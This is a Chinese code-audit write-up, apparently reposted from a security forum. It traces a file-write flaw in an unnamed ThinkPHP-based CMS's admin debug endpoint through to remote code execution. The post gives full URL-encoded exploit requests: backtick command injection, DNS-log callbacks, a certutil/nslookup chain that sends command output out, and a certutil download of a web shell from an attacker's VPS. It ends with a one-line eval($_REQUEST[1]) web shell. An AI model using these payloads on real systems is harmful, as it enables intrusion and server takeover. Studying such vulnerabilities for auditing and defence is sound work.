某cms代码审计RCE&艰难bypass(思路清奇) - ajie

admin 2021年12月31日14:59:57评论76 views字数 4358阅读14分31秒阅读模式

0x01 前言

闲来无事挖挖漏洞,发现一个经过了一些过滤的漏洞,踩了无数的坑,然后冥思苦想了许多方法,终于找到了一个点,使得可以进行命令执行与getshell。这里的漏洞点不值一提,但是因为绕过方法挺好玩的,故在这里分享一下思路,大佬勿喷~
思路不唯一,也希望有其他方法的话,大佬们可以不吝赐教,在评论区留下具体方法,谢谢大家~

0x02 代码审计环境

此次代码审计采用的是phpstudy一键式搭建。
phpstudy下载地址:https://www.xp.cn/download.html
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
代码审计分析工具:nopad++,seay源代码分析工具
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie

0x03 开始审计

话不多说,先看一下目录结构,很明显的tp5框架
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
在\thinkphp\base.php文件中也可以看到对应的tp版本号(5.0.24版本好像有个反序列化,其实也可以尝试一下)
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
虽然seay用现有的规则扫描扫出来的漏洞不太准确,但是帮忙定位危险函数还是可以的,所以我一般都会先进行自动审计。
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
接下来就是一个个漏洞分析了,都点进去看一看。
其实只需要看2点:
1.用户可以控制输入的内容
2.输入的内容被放到危险函数中进行了执行
(需要进行流程跟进的话还是推荐使用phpstorm工具的,我这里因为是在虚拟机中,就简单用了seay和nopad++代替)

0x04 漏洞点分析

1、具体我发现这个漏洞是在/app/admin/controller/api.php文件下的debug函数

public function debug()
    {
        $path = 'app/extra/debug.php';
        $file = include $path; 
        $config = array(
         'name' => input('id'),
        );
        $config = preg_replace("/[?><?]/", '', $config);
        $res = array_merge($file, $config);
        $str = '<?php return [';
        foreach ($res as $key => $value) {
            $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
        }
        $str .= ']; ';
        if (file_put_contents($path, $str)) {
            return json(array('code' => 1, 'msg' => '操作成功'));
        } else {
            return json(array('code' => 0, 'msg' => '操作失败'));
        }
    }

在代码第15行通过file_put_contents()函数将id传参的内容写入到app/extra/debug.php文件中。
2、可以看到上面进行了一些过滤,将<>和?替换为空

$config = preg_replace("/[?><?]/", '', $config);

3、这里直接将不太清晰,实战演示一下,首先访问后台路径,这里有个debug功能,就是上面debug函数的功能点。
http://127.0.0.1/index.php/admin/
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
4、具体使用时发现报错了,那就直接访问对应的函数,路由规则就是/index.php/目录-文件-函数.html?传参=。
这里我传参123进行测试
http://127.0.0.1/index.php/admin-api-debug.html?id=123
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
5、在debug.php文件中可以看到123是放到数组中的值处,而我们可以控制这里的值。

<?php return ['name'=>'123',];

6、下面讲解我进行绕过的思路以及遇到的坑。

0x05 绕过思路

第一次踩坑

1、首先,这里因为没有过滤单引号和中括号,所以我们可以手动闭合

payload:
http://127.0.0.1/index.php/admin-api-debug.html?id=123%27];phpinfo();//

这里可以看到数据是成功写入进文件中的

<?php return ['name'=>'123'];phpinfo();//',];

2、访问debug.php文件试试发现,页面并没有返回想要的内容
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
3、这里我想了好久,想着试试更换echo输出看看

<?php return ['name'=>'123'];echo '12344321';//',];

在页面中并没有输出
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
4、查阅资料之后理解了return后代码不再向下执行,此路不通
参考链接:https://www.cnblogs.com/gzpu/p/13736420.html

第二次踩坑

1、既然不能通过分号结束代码后执行其他代码的话,我能不能在return中执行代码呢,此处进行了尝试

<?php return ['name'=>'123',eval($_REQUEST[1]);'',];

于是……页面报错了
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
2、再试试换行

http://127.0.0.1/index.php/admin-api-debug.html?id=123%27,%0aeval($_REQUEST[1]);%27

某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
好的,还是不执行

第三次,渐渐好起来了

1、因为代码执行行不通,那我就想着试试命令执行看可不可以。先申请一个dnslog,链接:http://dnslog.cn/
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
2、使用.拼接反引号执行命令

http://127.0.0.1/index.php/admin-api-debug.html?id=123%27].`ping%20123.yh6nta.dnslog.cn`;//

查看文件情况

<?php return ['name'=>'123'].`ping 123.yh6nta.dnslog.cn`;//',];

访问看看,发现报错了,但是dnslog记录了数据,命令执行成功了
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie

3、这里报错怀疑是使用了点进行拼接,两边的字符类型不匹配,因为命令执行可以使用符号进行连接,所以在这里将点替换成&。
因为&在url中还有其他含义,所以先进行url编码。

123']&`ping 123.yh6nta.dnslog.cn`;//
#url编码
123%27%5D%26%60ping%20123.yh6nta.dnslog.cn%60%3B%2F%2F
http://127.0.0.1/index.php/admin-api-debug.html?id=123%27%5D%26%60ping%20123.yh6nta.dnslog.cn%60%3B%2F%2F

查看文件情况

<?php return ['name'=>'123']&`ping 123.yh6nta.dnslog.cn`;//',];

访问debug.php文件,页面没有报错,而且dnslog成功回显
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
4、既然可以执行命令了,很明显这里是无回显的情况,那么怎么拿到shell呢
PHP无回显情况下的渗透测试可以参考此文章:
https://xz.aliyun.com/t/9916

Linux系统

这里不细说,只要命令没有<、>、?即可
1、nc反弹shell
2、配合其他组件,如redis等
3、等等~

Windows系统

1、第一次尝试

使用`ping `whoami`.yh6nta.dnslog.cn`,失败
使用`ping /`whoami/`.yh6nta.dnslog.cn`,失败
使用`ping %系统变量%.yh6nta.dnslog.cn`,失败

2、第二次尝试

使用系统命令外带数据,首先我在文件中直接修改,发现可以成功外带数据

<?php return ['name'=>'123']&`cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.yh6nta.dnslog.cn)&del temp`;//',];

某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
后面发现,这条命令中含有一个>号,苦恼好久,暂时放弃。不过我觉得这个命令可以适当优化,然后就可以使用了。

3、第三次尝试,成功getshell

这里借鉴了XX师傅的建议,通过命令下载文件getshell

1、首先需要准备一个文件,内容为一句话木马,放到vps的web服务中。(当然起一个python的http服务也可以,主要是要可以访问获取。)

2、windows中可以使用certutil下载文件

#payload:
']&`certutil -urlcache -split -f http://vps地址:83/shell 1.php`;//
#url编码:
%27%5D%26%60certutil%20-urlcache%20-split%20-f%20http%3A%2F%2Fvps地址%3A83%2Fshell%201.php%60%3B%2F%2F
#通过id传参:
http://127.0.0.1/index.php/admin-api-debug.html?id=%27%5D%26%60certutil%20-urlcache%20-split%20-f%20http%3A%2F%2Fvps地址%3A83%2Fshell%201.php%60%3B%2F%2F

某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
3、查看debug.php文件情况
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
4、访问debug.php后,会在当前目录生成1.php,内容为一句话木马
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
5、执行phpinfo函数

原来竟然如此简单?

1、因为前面命令执行可以使用符号进行连接,我想着在代码中也试试,看看能不能直接执行一句话木马(测试了|、||、&、&&,只有&和&&的时候可以执行)
同样先进行url编码

123']&&eval($_REQUEST[1]);//#url编码123%27%5D%26%26eval(%24_REQUEST%5B1%5D)%3B%2F%2F
http://127.0.0.1/index.php/admin-api-debug.html?id=123%27%5D%26%26eval(%24_REQUEST%5B1%5D)%3B%2F%2F

某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
在文件中是这样的

<?php return ['name'=>'123']&&eval($_REQUEST[1]);//',];

尝试访问,成功执行代码
某cms代码审计RCE&艰难bypass(思路清奇) -  ajie
居然就这样就可以了……

0x06 总结

本次代码审计发现漏洞很快,但是利用起来整了我2天,还是在师傅们的帮助下完成的深入利用。忽然发现自己对于编程语言的基础还很不扎实,一些简单处理的地方居然思考了那么久,在之前发现漏洞的情况下,一般都是可以直接利用了,此次bypass的时候发现了很多不足。在以后的代码审计中,简单利用的漏洞只会越来越少,我还需要多深入学习代码知识,才能从一些过滤薄弱点出发,发现漏洞。嗯嗯,总结一句话,不论是学什么东西,基础很重要很重要!

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日14:59:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某cms代码审计RCE&艰难bypass(思路清奇) - ajiehttp://cn-sec.com/archives/710407.html

发表评论

匿名网友 填写信息